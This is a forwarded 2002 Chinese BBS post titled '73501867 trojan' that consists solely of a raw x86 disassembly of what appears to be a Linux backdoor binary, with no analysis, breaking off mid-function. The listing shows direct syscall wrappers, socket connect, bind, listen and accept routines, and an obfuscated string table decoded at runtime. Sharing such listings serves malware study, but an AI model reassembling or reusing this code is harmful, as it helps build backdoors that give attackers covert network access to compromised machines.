荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标  题: 73501867 trojan(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:09:49 2002), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标  题: 73501867 trojan
发信站: UNIX编程 (Wed Apr 10 15:16:56 2002) , 转信

0x80495fc:      jmp    0x804a7e0
0x8049601:      lea    0x0(%esi),%esi
0x8049604:      push   %ebp
0x8049605:      mov    %esp,%ebp
0x8049607:      mov    0x8(%esp,1),%eax
0x804960b:      int    $0x80
0x804960d:      leave
0x804960e:      ret

0x804960f:      nop

0x8049610:      push   %ebp
0x8049611:      mov    %esp,%ebp
0x8049613:      push   %ebx
0x8049614:      mov    0xc(%esp,1),%eax
0x8049618:      mov    0x10(%esp,1),%ebx
0x804961c:      int    $0x80
0x804961e:      pop    %ebx
0x804961f:      leave
0x8049620:      ret

0x8049621:      lea    0x0(%esi),%esi

0x8049624:      push   %ebp
0x8049625:      mov    %esp,%ebp
0x8049627:      push   %ebx
0x8049628:      push   %ecx
0x8049629:      mov    0x10(%esp,1),%eax
0x804962d:      mov    0x14(%esp,1),%ebx
0x8049631:      mov    0x18(%esp,1),%ecx
0x8049635:      int    $0x80
0x8049637:      pop    %ecx
0x8049638:      pop    %ebx
0x8049639:      leave
0x804963a:      ret

0x804963b:      nop

0x804963c:      push   %ebp
0x804963d:      mov    %esp,%ebp
0x804963f:      push   %ebx
0x8049640:      push   %ecx
0x8049641:      push   %edx
0x8049642:      mov    0x14(%esp,1),%eax
0x8049646:      mov    0x18(%esp,1),%ebx
0x804964a:      mov    0x1c(%esp,1),%ecx
0x804964e:      mov    0x20(%esp,1),%edx
0x8049652:      int    $0x80
0x8049654:      pop    %edx
0x8049655:      pop    %ecx
0x8049656:      pop    %ebx
0x8049657:      leave
0x8049658:      ret

0x8049659:      lea    0x0(%esi),%esi

0x804965c:      push   %ebp
0x804965d:      mov    %esp,%ebp
0x804965f:      push   %ebx
0x8049660:      push   %ecx
0x8049661:      push   %edx
0x8049662:      push   %esi
0x8049663:      push   %edi
0x8049664:      mov    $0x75,%eax
0x8049669:      mov    0x1c(%esp,1),%ebx
0x804966d:      mov    0x20(%esp,1),%ecx
0x8049671:      mov    0x24(%esp,1),%edx
0x8049675:      mov    0x28(%esp,1),%esi
0x8049679:      mov    0x2c(%esp,1),%edi
0x804967d:      int    $0x80
0x804967f:      pop    %edi
0x8049680:      pop    %esi
0x8049681:      pop    %edx
0x8049682:      pop    %ecx
0x8049683:      pop    %ebx
0x8049684:      leave
0x8049685:      ret
0x8049686:      mov    %esi,%esi
0x8049688:      push   %ebp
0x8049689:      mov    %esp,%ebp
0x804968b:      push   $0x0
0x804968d:      pushl  0x10(%ebp)
0x8049690:      pushl  0xc(%ebp)
0x8049693:      pushl  0x8(%ebp)
0x8049696:      push   $0x17
0x8049698:      call   0x804965c
0x804969d:      leave
0x804969e:      ret
0x804969f:      nop
0x80496a0:      push   %ebp
0x80496a1:      mov    %esp,%ebp
0x80496a3:      sub    $0x4,%esp
0x80496a6:      pushl  0xc(%ebp)
0x80496a9:      lea    0xfffffffc(%ebp),%eax
0x80496ac:      push   %eax
0x80496ad:      pushl  0x10(%ebp)
0x80496b0:      pushl  0x8(%ebp)
0x80496b3:      push   $0x15
0x80496b5:      call   0x804965c
0x80496ba:      mov    0xfffffffc(%ebp),%eax
0x80496bd:      leave
0x80496be:      ret
0x80496bf:      nop
0x80496c0:      push   %ebp
0x80496c1:      mov    %esp,%ebp
0x80496c3:      pushl  0x10(%ebp)
0x80496c6:      push   $0x0
0x80496c8:      pushl  0xc(%ebp)
0x80496cb:      pushl  0x8(%ebp)
0x80496ce:      push   $0x18
0x80496d0:      call   0x804965c
0x80496d5:      leave
0x80496d6:      ret
0x80496d7:      nop
0x80496d8:      push   %ebp
0x80496d9:      mov    %esp,%ebp
0x80496db:      pushl  0x8(%ebp)
0x80496de:      push   $0x0
0x80496e0:      push   $0x0
0x80496e2:      push   $0x0
0x80496e4:      push   $0x16
0x80496e6:      call   0x804965c
0x80496eb:      leave
0x80496ec:      ret
0x80496ed:      lea    0x0(%esi),%esi
0x80496f0:      push   %ebp
0x80496f1:      mov    %esp,%ebp
0x80496f3:      push   %ebx
0x80496f4:      mov    0xc(%ebp),%ebx
0x80496f7:      pushl  0x10(%ebp)
0x80496fa:      push   %ebx
0x80496fb:      pushl  0x8(%ebp)
0x80496fe:      push   $0x13
0x8049700:      call   0x804963c
0x8049705:      cmp    %ebx,%eax
0x8049707:      jne    0x8049710
0x8049709:      mov    $0x1,%eax
0x804970e:      jmp    0x8049712
0x8049710:      xor    %eax,%eax
0x8049712:      mov    0xfffffffc(%ebp),%ebx
0x8049715:      leave
0x8049716:      ret
0x8049717:      nop
0x8049718:      push   %ebp
0x8049719:      mov    %esp,%ebp
0x804971b:      push   %esi
0x804971c:      push   %ebx
0x804971d:      mov    0x8(%ebp),%esi
0x8049720:      mov    0xc(%ebp),%ebx
0x8049723:      mov    0x10(%ebp),%ecx
0x8049726:      xor    %edx,%edx
0x8049728:      cmp    %ecx,%edx
0x804972a:      jge    0x804973d
0x804972c:      mov    (%edx,%ebx,1),%al
0x804972f:      cmp    %al,(%edx,%esi,1)
0x8049732:      je     0x8049738
0x8049734:      xor    %eax,%eax
0x8049736:      jmp    0x8049742
0x8049738:      inc    %edx
0x8049739:      cmp    %ecx,%edx
0x804973b:      jl     0x804972c
0x804973d:      mov    $0x1,%eax
0x8049742:      lea    0xfffffff8(%ebp),%esp
0x8049745:      pop    %ebx
0x8049746:      pop    %esi
0x8049747:      leave
0x8049748:      ret
0x8049749:      lea    0x0(%esi),%esi
0x804974c:      push   %ebp
0x804974d:      mov    %esp,%ebp
0x804974f:      push   %ebx
0x8049750:      mov    0x8(%ebp),%ebx
0x8049753:      mov    0x10(%ebp),%edx
0x8049756:      mov    0xc(%ebp),%cl
0x8049759:      xor    %eax,%eax
0x804975b:      cmp    %edx,%eax
0x804975d:      jge    0x8049768
0x804975f:      nop
0x8049760:      mov    %cl,(%eax,%ebx,1)
0x8049763:      inc    %eax
0x8049764:      cmp    %edx,%eax
0x8049766:      jl     0x8049760
0x8049768:      mov    0xfffffffc(%ebp),%ebx
0x804976b:      leave
0x804976c:      ret
0x804976d:      lea    0x0(%esi),%esi
0x8049770:      push   %ebp
0x8049771:      mov    %esp,%ebp
0x8049773:      mov    0x8(%ebp),%edx
0x8049776:      xor    %eax,%eax
0x8049778:      cmpb   $0x0,(%edx)
0x804977b:      je     0x8049787
0x804977d:      lea    0x0(%esi),%esi
0x8049780:      inc    %edx
0x8049781:      inc    %eax
0x8049782:      cmpb   $0x0,(%edx)
0x8049785:      jne    0x8049780
0x8049787:      leave
0x8049788:      ret
0x8049789:      lea    0x0(%esi),%esi
0x804978c:      push   %ebp
0x804978d:      mov    %esp,%ebp
0x804978f:      push   %ebx
0x8049790:      mov    0x10(%ebp),%edx
0x8049793:      mov    0x8(%ebp),%ebx
0x8049796:      mov    0xc(%ebp),%ecx
0x8049799:      test   %edx,%edx
0x804979b:      jle    0x80497ab
0x804979d:      lea    0x0(%esi),%esi
0x80497a0:      mov    (%ecx),%al
0x80497a2:      mov    %al,(%ebx)
0x80497a4:      inc    %ebx
0x80497a5:      inc    %ecx
0x80497a6:      dec    %edx
0x80497a7:      test   %edx,%edx
0x80497a9:      jg     0x80497a0
0x80497ab:      mov    0xfffffffc(%ebp),%ebx
0x80497ae:      leave
0x80497af:      ret
0x80497b0:      push   %ebp
0x80497b1:      mov    %esp,%ebp
0x80497b3:      push   %esi
0x80497b4:      push   %ebx
0x80497b5:      mov    0x8(%ebp),%ebx
0x80497b8:      push   $0x0
0x80497ba:      push   $0x2d
0x80497bc:      call   0x8049610
0x80497c1:      mov    %eax,%esi
0x80497c3:      add    %esi,%ebx
0x80497c5:      push   %ebx
0x80497c6:      push   $0x2d
0x80497c8:      call   0x8049610
0x80497cd:      cmp    %esi,%eax
0x80497cf:      je     0x80497d8
0x80497d1:      mov    %esi,%eax
0x80497d3:      jmp    0x80497da
0x80497d5:      lea    0x0(%esi),%esi
0x80497d8:      xor    %eax,%eax
0x80497da:      lea    0xfffffff8(%ebp),%esp
0x80497dd:      pop    %ebx
0x80497de:      pop    %esi
0x80497df:      leave
0x80497e0:      ret
0x80497e1:      lea    0x0(%esi),%esi
0x80497e4:      push   %ebp
0x80497e5:      mov    %esp,%ebp
0x80497e7:      pushl  0x8(%ebp)
0x80497ea:      push   $0x2d
0x80497ec:      call   0x8049610
0x80497f1:      leave
0x80497f2:      ret
0x80497f3:      nop
0x80497f4:      push   %ebp
0x80497f5:      mov    %esp,%ebp
0x80497f7:      sub    $0x8,%esp
0x80497fa:      push   %edi
0x80497fb:      push   %esi
0x80497fc:      push   %ebx
0x80497fd:      mov    0x8(%ebp),%ebx
0x8049800:      push   $0x800
0x8049805:      call   0x80497b0
0x804980a:      mov    %eax,0xfffffffc(%ebp)
0x804980d:      mov    0xc(%ebp),%edi
0x8049810:      movl   $0x0,(%edi)
0x8049816:      add    $0x4,%esp
0x8049819:      cmpl   $0x0,0xfffffffc(%ebp)
0x804981d:      jne    0x8049824
0x804981f:      xor    %eax,%eax
0x8049821:      jmp    0x8049889
0x8049823:      nop
0x8049824:      push   $0x800
0x8049829:      push   $0x0
0x804982b:      mov    0xfffffffc(%ebp),%edi
0x804982e:      push   %edi
0x804982f:      call   0x804974c
0x8049834:      push   %ebx
0x8049835:      call   0x8049770
0x804983a:      dec    %eax
0x804983b:      mov    %eax,0xfffffff8(%ebp)
0x804983e:      xor    %eax,%eax
0x8049840:      xor    %esi,%esi
0x8049842:      cmp    0xfffffff8(%ebp),%eax
0x8049845:      jge    0x8049877
0x8049847:      mov    %ebx,%edx
0x8049849:      lea    0x1(%edx),%ecx
0x804984c:      mov    0xfffffffc(%ebp),%ebx
0x804984f:      nop
0x8049850:      cmpb   $0x20,(%edx)
0x8049853:      jne    0x804986f
0x8049855:      cmpb   $0x20,(%ecx)
0x8049858:      je     0x8049867
0x804985a:      mov    %ecx,(%ebx)
0x804985c:      cmp    $0xfd,%eax
0x8049861:      jg     0x8049867
0x8049863:      add    $0x4,%ebx
0x8049866:      inc    %eax
0x8049867:      cmpb   $0x20,(%edx)
0x804986a:      jne    0x804986f
0x804986c:      movb   $0x0,(%edx)
0x804986f:      inc    %edx
0x8049870:      inc    %ecx
0x8049871:      inc    %esi
0x8049872:      cmp    0xfffffff8(%ebp),%esi
0x8049875:      jl     0x8049850
0x8049877:      mov    0xfffffffc(%ebp),%edi
0x804987a:      movl   $0x0,(%edi,%eax,4)
0x8049881:      mov    0xc(%ebp),%edi
0x8049884:      mov    %eax,(%edi)
0x8049886:      mov    0xfffffffc(%ebp),%eax
0x8049889:      lea    0xffffffec(%ebp),%esp
0x804988c:      pop    %ebx
0x804988d:      pop    %esi
0x804988e:      pop    %edi
0x804988f:      leave
0x8049890:      ret
0x8049891:      lea    0x0(%esi),%esi
0x8049894:      push   %ebp
0x8049895:      mov    %esp,%ebp
0x8049897:      sub    $0x4,%esp
0x804989a:      push   %esi
0x804989b:      push   %ebx
0x804989c:      mov    0x8(%ebp),%esi
0x804989f:      xor    %ecx,%ecx
0x80498a1:      test   %esi,%esi
0x80498a3:      jg     0x80498ac
0x80498a5:      mov    $0x1,%eax
0x80498aa:      jmp    0x80498cd
0x80498ac:      mov    $0x66666667,%ebx
0x80498b1:      lea    0x0(%esi),%esi
0x80498b4:      mov    %esi,%eax
0x80498b6:      imul   %ebx,%eax
0x80498b8:      sar    $0x2,%edx
0x80498bb:      sar    $0x1f,%esi
0x80498be:      mov    %esi,0xfffffffc(%ebp)
0x80498c1:      mov    %edx,%esi
0x80498c3:      sub    0xfffffffc(%ebp),%esi
0x80498c6:      inc    %ecx
0x80498c7:      test   %esi,%esi
0x80498c9:      jg     0x80498b4
0x80498cb:      mov    %ecx,%eax
0x80498cd:      lea    0xfffffff4(%ebp),%esp
0x80498d0:      pop    %ebx
0x80498d1:      pop    %esi
0x80498d2:      leave
0x80498d3:      ret
0x80498d4:      push   %ebp
0x80498d5:      mov    %esp,%ebp
0x80498d7:      sub    $0x8,%esp
0x80498da:      push   %edi
0x80498db:      push   %esi
0x80498dc:      push   %ebx
0x80498dd:      xor    %esi,%esi
0x80498df:      movl   $0x0,0xfffffff8(%ebp)
0x80498e6:      mov    0x8(%ebp),%edi
0x80498e9:      mov    (%edi),%al
0x80498eb:      jmp    0x80498f7
0x80498ed:      lea    0x0(%esi),%esi
0x80498f0:      inc    %esi
0x80498f1:      mov    0x8(%ebp),%edi
0x80498f4:      mov    (%esi,%edi,1),%al
0x80498f7:      add    $0xd0,%al
0x80498f9:      cmp    $0x9,%al
0x80498fb:      jbe    0x80498f0
0x80498fd:      xor    %ebx,%ebx
0x80498ff:      cmp    %esi,%ebx
0x8049901:      jge    0x8049936
0x8049903:      lea    0xffffffff(%esi),%edi
0x8049906:      mov    %edi,0xfffffffc(%ebp)
0x8049909:      lea    0x0(%esi),%esi
0x804990c:      mov    0x8(%ebp),%edi
0x804990f:      movsbl (%ebx,%edi,1),%eax
0x8049913:      add    $0xffffffd0,%eax
0x8049916:      xor    %ecx,%ecx
0x8049918:      mov    0xfffffffc(%ebp),%edx
0x804991b:      sub    %ebx,%edx
0x804991d:      cmp    %edx,%ecx
0x804991f:      jge    0x804992e
0x8049921:      lea    0x0(%esi),%esi
0x8049924:      lea    (%eax,%eax,4),%eax
0x8049927:      add    %eax,%eax
0x8049929:      inc    %ecx
0x804992a:      cmp    %edx,%ecx
0x804992c:      jl     0x8049924
0x804992e:      add    %eax,0xfffffff8(%ebp)
0x8049931:      inc    %ebx
0x8049932:      cmp    %esi,%ebx
0x8049934:      jl     0x804990c
0x8049936:      mov    0xfffffff8(%ebp),%eax
0x8049939:      lea    0xffffffec(%ebp),%esp
0x804993c:      pop    %ebx
0x804993d:      pop    %esi
0x804993e:      pop    %edi
0x804993f:      leave
0x8049940:      ret
0x8049941:      lea    0x0(%esi),%esi
0x8049944:      push   %ebp
0x8049945:      mov    %esp,%ebp
0x8049947:      push   %edi
0x8049948:      push   %esi
0x8049949:      push   %ebx
0x804994a:      mov    0x8(%ebp),%edi
0x804994d:      mov    0xc(%ebp),%esi
0x8049950:      mov    0x10(%ebp),%ebx
0x8049953:      nop
0x8049954:      push   %ebx
0x8049955:      push   %esi
0x8049956:      push   %edi
0x8049957:      push   $0x3
0x8049959:      call   0x804963c
0x804995e:      add    $0x10,%esp
0x8049961:      cmp    %ebx,%eax
0x8049963:      jne    0x804996c
0x8049965:      mov    $0x1,%eax
0x804996a:      jmp    0x8049980
0x804996c:      test   %eax,%eax
0x804996e:      jg     0x8049978
0x8049970:      test   %ebx,%ebx
0x8049972:      jle    0x8049978
0x8049974:      xor    %eax,%eax
0x8049976:      jmp    0x8049980
0x8049978:      sub    %eax,%ebx
0x804997a:      add    %al,(%esi)
0x804997c:      jmp    0x8049954
0x804997e:      mov    %esi,%esi
0x8049980:      lea    0xfffffff4(%ebp),%esp
0x8049983:      pop    %ebx
0x8049984:      pop    %esi
0x8049985:      pop    %edi
0x8049986:      leave
0x8049987:      ret
0x8049988:      push   %ebp
0x8049989:      mov    %esp,%ebp
0x804998b:      push   %edi
0x804998c:      push   %esi
0x804998d:      push   %ebx
0x804998e:      mov    0x8(%ebp),%edi
0x8049991:      mov    0xc(%ebp),%esi
0x8049994:      mov    0x10(%ebp),%ebx
0x8049997:      nop
0x8049998:      push   %ebx
0x8049999:      push   %esi
0x804999a:      push   %edi
0x804999b:      push   $0x4
0x804999d:      call   0x804963c
0x80499a2:      add    $0x10,%esp
0x80499a5:      cmp    %ebx,%eax
0x80499a7:      jne    0x80499b0
0x80499a9:      mov    $0x1,%eax
0x80499ae:      jmp    0x80499c4
0x80499b0:      test   %eax,%eax
0x80499b2:      jg     0x80499bc
0x80499b4:      test   %ebx,%ebx
0x80499b6:      jle    0x80499bc
0x80499b8:      xor    %eax,%eax
0x80499ba:      jmp    0x80499c4
0x80499bc:      sub    %eax,%ebx
0x80499be:      add    %al,(%esi)
0x80499c0:      jmp    0x8049998
0x80499c2:      mov    %esi,%esi
0x80499c4:      lea    0xfffffff4(%ebp),%esp
0x80499c7:      pop    %ebx
0x80499c8:      pop    %esi
0x80499c9:      pop    %edi
0x80499ca:      leave
0x80499cb:      ret
0x80499cc:      push   %ebp
0x80499cd:      mov    %esp,%ebp
0x80499cf:      mov    0x8(%ebp),%eax
0x80499d2:      rol    $0x8,%ax
0x80499d6:      and    $0xffff,%eax
0x80499db:      leave
0x80499dc:      ret
0x80499dd:      lea    0x0(%esi),%esi
0x80499e0:      push   %ebp
0x80499e1:      mov    %esp,%ebp
0x80499e3:      sub    $0xc,%esp
0x80499e6:      mov    0x8(%ebp),%eax
0x80499e9:      mov    0xc(%ebp),%edx
0x80499ec:      mov    0x10(%ebp),%ecx
0x80499ef:      mov    %eax,0xfffffff4(%ebp)
0x80499f2:      mov    %edx,0xfffffff8(%ebp)
0x80499f5:      mov    %ecx,0xfffffffc(%ebp)
0x80499f8:      lea    0xfffffff4(%ebp),%eax
0x80499fb:      push   %eax
0x80499fc:      push   $0x1
0x80499fe:      push   $0x66
0x8049a00:      call   0x8049624
0x8049a05:      leave
0x8049a06:      ret
0x8049a07:      nop
0x8049a08:      push   %ebp
0x8049a09:      mov    %esp,%ebp
0x8049a0b:      sub    $0x8,%esp
0x8049a0e:      mov    0x8(%ebp),%eax
0x8049a11:      mov    0xc(%ebp),%edx
0x8049a14:      mov    %eax,0xfffffff8(%ebp)
0x8049a17:      lea    0xfffffff8(%ebp),%eax
0x8049a1a:      mov    %edx,0x4(%eax)
0x8049a1d:      push   %eax
0x8049a1e:      push   $0x4
0x8049a20:      push   $0x66
0x8049a22:      call   0x8049624
0x8049a27:      leave
0x8049a28:      ret
0x8049a29:      lea    0x0(%esi),%esi
0x8049a2c:      push   %ebp
0x8049a2d:      mov    %esp,%ebp
0x8049a2f:      sub    $0x1c,%esp
0x8049a32:      push   %edi
0x8049a33:      push   %esi
0x8049a34:      push   %ebx
0x8049a35:      push   $0x6
0x8049a37:      push   $0x1
0x8049a39:      push   $0x2
0x8049a3b:      call   0x80499e0
0x8049a40:      mov    %eax,%edi
0x8049a42:      add    $0xc,%esp
0x8049a45:      test   %edi,%edi
0x8049a47:      jl     0x8049aa8
0x8049a49:      push   $0x10
0x8049a4b:      push   $0x0
0x8049a4d:      lea    0xffffffe4(%ebp),%esi
0x8049a50:      push   %esi
0x8049a51:      call   0x804974c
0x8049a56:      movw   $0x2,0xffffffe4(%ebp)
0x8049a5c:      movzwl 0xc(%ebp),%eax
0x8049a60:      push   %eax
0x8049a61:      call   0x80499cc
0x8049a66:      mov    %ax,0xffffffe6(%ebp)
0x8049a6a:      mov    0x8(%ebp),%eax
0x8049a6d:      mov    %eax,0xffffffe8(%ebp)
0x8049a70:      push   $0xc
0x8049a72:      push   $0x0
0x8049a74:      lea    0xfffffff4(%ebp),%ebx
0x8049a77:      push   %ebx
0x8049a78:      call   0x804974c
0x8049a7d:      mov    %edi,0xfffffff4(%ebp)
0x8049a80:      mov    %esi,0xfffffff8(%ebp)
0x8049a83:      movl   $0x10,0xfffffffc(%ebp)
0x8049a8a:      push   %ebx
0x8049a8b:      push   $0x3
0x8049a8d:      push   $0x66
0x8049a8f:      call   0x8049624
0x8049a94:      add    $0x28,%esp
0x8049a97:      test   %eax,%eax
0x8049a99:      jl     0x8049aa0
0x8049a9b:      mov    %edi,%eax
0x8049a9d:      jmp    0x8049aad
0x8049a9f:      nop
0x8049aa0:      push   %edi
0x8049aa1:      push   $0x6
0x8049aa3:      call   0x8049610
0x8049aa8:      mov    $0xffffffff,%eax
0x8049aad:      lea    0xffffffd8(%ebp),%esp
0x8049ab0:      pop    %ebx
0x8049ab1:      pop    %esi
0x8049ab2:      pop    %edi
0x8049ab3:      leave
0x8049ab4:      ret
0x8049ab5:      lea    0x0(%esi),%esi
0x8049ab8:      push   %ebp
0x8049ab9:      mov    %esp,%ebp
0x8049abb:      sub    $0x1c,%esp
0x8049abe:      push   %edi
0x8049abf:      push   %esi
0x8049ac0:      push   %ebx
0x8049ac1:      mov    0x8(%ebp),%edx
0x8049ac4:      push   %edx
0x8049ac5:      cmp    $0x11,%edx
0x8049ac8:      jne    0x8049ad4
0x8049aca:      mov    $0x2,%eax
0x8049acf:      jmp    0x8049ad9
0x8049ad1:      lea    0x0(%esi),%esi
0x8049ad4:      mov    $0x1,%eax
0x8049ad9:      push   %eax
0x8049ada:      push   $0x2
0x8049adc:      call   0x80499e0
0x8049ae1:      mov    %eax,%edi
0x8049ae3:      add    $0xc,%esp
0x8049ae6:      test   %edi,%edi
0x8049ae8:      jge    0x8049af4
0x8049aea:      mov    $0xffffffff,%eax
0x8049aef:      jmp    0x8049b68
0x8049af1:      lea    0x0(%esi),%esi
0x8049af4:      push   $0x10
0x8049af6:      push   $0x0
0x8049af8:      lea    0xffffffe4(%ebp),%ebx
0x8049afb:      push   %ebx
0x8049afc:      call   0x804974c
0x8049b01:      movw   $0x2,0xffffffe4(%ebp)
0x8049b07:      movzwl 0xc(%ebp),%eax
0x8049b0b:      push   %eax
0x8049b0c:      call   0x80499cc
0x8049b11:      mov    %ax,0xffffffe6(%ebp)
0x8049b15:      movl   $0x0,0xffffffe8(%ebp)
0x8049b1c:      push   $0xc
0x8049b1e:      push   $0x0
0x8049b20:      lea    0xfffffff4(%ebp),%esi
0x8049b23:      push   %esi
0x8049b24:      call   0x804974c
0x8049b29:      mov    %edi,0xfffffff4(%ebp)
0x8049b2c:      mov    %ebx,0xfffffff8(%ebp)
0x8049b2f:      movl   $0x10,0xfffffffc(%ebp)
0x8049b36:      push   %esi
0x8049b37:      push   $0x2
0x8049b39:      push   $0x66
0x8049b3b:      call   0x8049624
0x8049b40:      add    $0x28,%esp
0x8049b43:      test   %eax,%eax
0x8049b45:      jge    0x8049b58
0x8049b47:      push   %edi
0x8049b48:      push   $0x6
0x8049b4a:      call   0x8049610
0x8049b4f:      mov    $0xffffffff,%eax
0x8049b54:      jmp    0x8049b68
0x8049b56:      mov    %esi,%esi
0x8049b58:      cmpl   $0x6,0x8(%ebp)
0x8049b5c:      jne    0x8049b66
0x8049b5e:      push   $0xa
0x8049b60:      push   %edi
0x8049b61:      call   0x8049a08
0x8049b66:      mov    %edi,%eax
0x8049b68:      lea    0xffffffd8(%ebp),%esp
0x8049b6b:      pop    %ebx
0x8049b6c:      pop    %esi
0x8049b6d:      pop    %edi
0x8049b6e:      leave
0x8049b6f:      ret
0x8049b70:      push   %ebp
0x8049b71:      mov    %esp,%ebp
0x8049b73:      sub    $0x20,%esp
0x8049b76:      mov    0x8(%ebp),%eax
0x8049b79:      movl   $0x10,0xffffffe0(%ebp)
0x8049b80:      mov    %eax,0xfffffff4(%ebp)
0x8049b83:      lea    0xffffffe4(%ebp),%edx
0x8049b86:      mov    %edx,0xfffffff8(%ebp)
0x8049b89:      lea    0xffffffe0(%ebp),%edx
0x8049b8c:      mov    %edx,0xfffffffc(%ebp)
0x8049b8f:      lea    0xfffffff4(%ebp),%eax
0x8049b92:      push   %eax
0x8049b93:      push   $0x5
0x8049b95:      push   $0x66
0x8049b97:      call   0x8049624
0x8049b9c:      leave
0x8049b9d:      ret
0x8049b9e:      mov    %esi,%esi
0x8049ba0:      push   %ebp
0x8049ba1:      mov    %esp,%ebp
0x8049ba3:      sub    $0x2c,%esp
0x8049ba6:      push   %edi
0x8049ba7:      push   %esi
0x8049ba8:      push   %ebx
0x8049ba9:      mov    0x8(%ebp),%edi
0x8049bac:      mov    0xc(%ebp),%ebx
0x8049baf:      mov    0x10(%ebp),%esi
0x8049bb2:      movl   $0x10,0xffffffd4(%ebp)
0x8049bb9:      push   %esi
0x8049bba:      push   $0x0
0x8049bbc:      push   %ebx
0x8049bbd:      call   0x804974c
0x8049bc2:      mov    %edi,0xffffffe8(%ebp)
0x8049bc5:      mov    %ebx,0xffffffec(%ebp)
0x8049bc8:      mov    %esi,0xfffffff0(%ebp)
0x8049bcb:      movl   $0x0,0xfffffff4(%ebp)
0x8049bd2:      lea    0xffffffd8(%ebp),%edx
0x8049bd5:      mov    %edx,0xfffffff8(%ebp)
0x8049bd8:      lea    0xffffffd4(%ebp),%edx
0x8049bdb:      mov    %edx,0xfffffffc(%ebp)
0x8049bde:      lea    0xffffffe8(%ebp),%eax
0x8049be1:      push   %eax
0x8049be2:      push   $0xc
0x8049be4:      push   $0x66
0x8049be6:      call   0x8049624
0x8049beb:      lea    0xffffffc8(%ebp),%esp
0x8049bee:      pop    %ebx
0x8049bef:      pop    %esi
0x8049bf0:      pop    %edi
0x8049bf1:      leave
0x8049bf2:      ret
0x8049bf3:      nop
0x8049bf4:      push   %ebp
0x8049bf5:      mov    %esp,%ebp
0x8049bf7:      jmp    0x8049bfc
0x8049bf9:      pop    %eax
0x8049bfa:      jmp    0x8049c48
0x8049bfc:      call   0x8049bf9
0x8049c01:      and    %bh,0x7d(%edi)
0x8049c04:      pusha
0x8049c05:      insb   (%dx),%es:(%edi)
0x8049c06:      and    %ah,0x6a(%ecx)
0x8049c09:      jnp    0x8049c2b
0x8049c0b:      data16
0x8049c0c:      jg     0x8049c5e
0x8049c0e:      imul   $0x61666e67,0x6c(%eax),%edi
0x8049c15:      jl     0x8049c17
0x8049c17:      popaw
0x8049c19:      jg     0x8049c95
0x8049c1b:      jnp    0x8049c1d
0x8049c1d:      and    %ch,0x66(%ebp)
0x8049c20:      popa
0x8049c21:      and    %bh,0x0(%edi,2)
0x8049c25:      and    0x22(%eax,%eax,1),%ch
0x8049c29:      data16
0x8049c2a:      add    %bl,0x5c(%edx,%ecx,2)
0x8049c2e:      pop    %esp
0x8049c2f:      inc    %esi
0x8049c30:      inc    %eax
0x8049c31:      inc    %ecx
0x8049c32:      das
0x8049c33:      pop    %esp
0x8049c34:      pop    %ebx
0x8049c35:      dec    %esi
0x8049c36:      pop    %ebp
0x8049c37:      pop    %ebx
0x8049c38:      dec    %edx
0x8049c39:      dec    %ebx
0x8049c3a:      xor    $0x7d7f2000,%eax
0x8049c3f:      pusha
0x8049c40:      insb   (%dx),%es:(%edi)
0x8049c41:      and    %al,(%eax)
0x8049c43:      and    %ch,0x6a(%ebx)
0x8049c46:      jns    0x8049c48
0x8049c48:      leave
0x8049c49:      ret
0x8049c4a:      mov    %esi,%esi
0x8049c4c:      push   %ebp
0x8049c4d:      mov    %esp,%ebp
0x8049c4f:      sub    $0x4,%esp
0x8049c52:      push   %edi
0x8049c53:      push   %esi
0x8049c54:      push   %ebx
0x8049c55:      mov    0x8(%ebp),%ebx
0x8049c58:      call   0x8049bf4
0x8049c5d:      mov    %eax,%esi
0x8049c5f:      test   %ebx,%ebx
0x8049c61:      jle    0x8049c6f
0x8049c63:      nop
0x8049c64:      cmpb   $0x0,(%esi)
0x8049c67:      jne    0x8049c6a
0x8049c69:      dec    %ebx
0x8049c6a:      inc    %esi
0x8049c6b:      test   %ebx,%ebx
0x8049c6d:      jg     0x8049c64
0x8049c6f:      mov    0x10(%ebp),%eax
0x8049c72:      push   %eax
0x8049c73:      push   $0x0
0x8049c75:      mov    0xc(%ebp),%edi
0x8049c78:      push   %edi
0x8049c79:      call   0x804974c
0x8049c7e:      mov    %esi,%edx
0x8049c80:      mov    %edx,%edi
0x8049c82:      xor    %eax,%eax
0x8049c84:      cld
0x8049c85:      mov    $0xffffffff,%ecx
0x8049c8a:      repnz scas %es:(%edi),%al
0x8049c8c:      not    %ecx
0x8049c8e:      dec    %ecx
0x8049c8f:      mov    0x10(%ebp),%eax
0x8049c92:      cmp    %eax,%ecx
0x8049c94:      ja     0x8049cac
0x8049c96:      mov    %esi,%edi
0x8049c98:      xor    %eax,%eax
0x8049c9a:      cld
0x8049c9b:      mov    $0xffffffff,%ecx
0x8049ca0:      repnz scas %es:(%edi),%al
0x8049ca2:      not    %ecx
0x8049ca4:      lea    0xffffffff(%ecx),%ebx
0x8049ca7:      jmp    0x8049caf
0x8049ca9:      lea    0x0(%esi),%esi
0x8049cac:      mov    0x10(%ebp),%ebx
0x8049caf:      xor    %ecx,%ecx
0x8049cb1:      cmp    %ebx,%ecx
0x8049cb3:      jge    0x8049cdd
0x8049cb5:      lea    0x0(%esi),%esi
0x8049cb8:      mov    (%ecx,%esi,1),%dl
0x8049cbb:      test   %dl,%dl
0x8049cbd:      je     0x8049cd8
0x8049cbf:      mov    %dl,0xfffffffc(%ebp)
0x8049cc2:      andb   $0xf0,0xfffffffc(%ebp)
0x8049cc6:      sub    0xfffffffc(%ebp),%dl
0x8049cc9:      addb   $0xf,0xfffffffc(%ebp)
0x8049ccd:      mov    0xfffffffc(%ebp),%al
0x8049cd0:      sub    %dl,%al
0x8049cd2:      mov    0xc(%ebp),%edi
0x8049cd5:      mov    %al,(%ecx,%edi,1)
0x8049cd8:      inc    %ecx
0x8049cd9:      cmp    %ebx,%ecx
0x8049cdb:      jl     0x8049cb8
0x8049cdd:      lea    0xfffffff0(%ebp),%esp
0x8049ce0:      pop    %ebx
0x8049ce1:      pop    %esi
0x8049ce2:      pop    %edi
0x8049ce3:      leave
0x8049ce4:      ret
0x8049ce5:      lea    0x0(%esi),%esi
0x8049ce8:      push   %ebp
0x8049ce9:      mov    %esp,%ebp
0x8049ceb:      sub    $0x41c,%esp
0x8049cf1:      push   %edi
0x8049cf2:      push   %esi
0x8049cf3:      push   %ebx
0x8049cf4:      push   $0x6
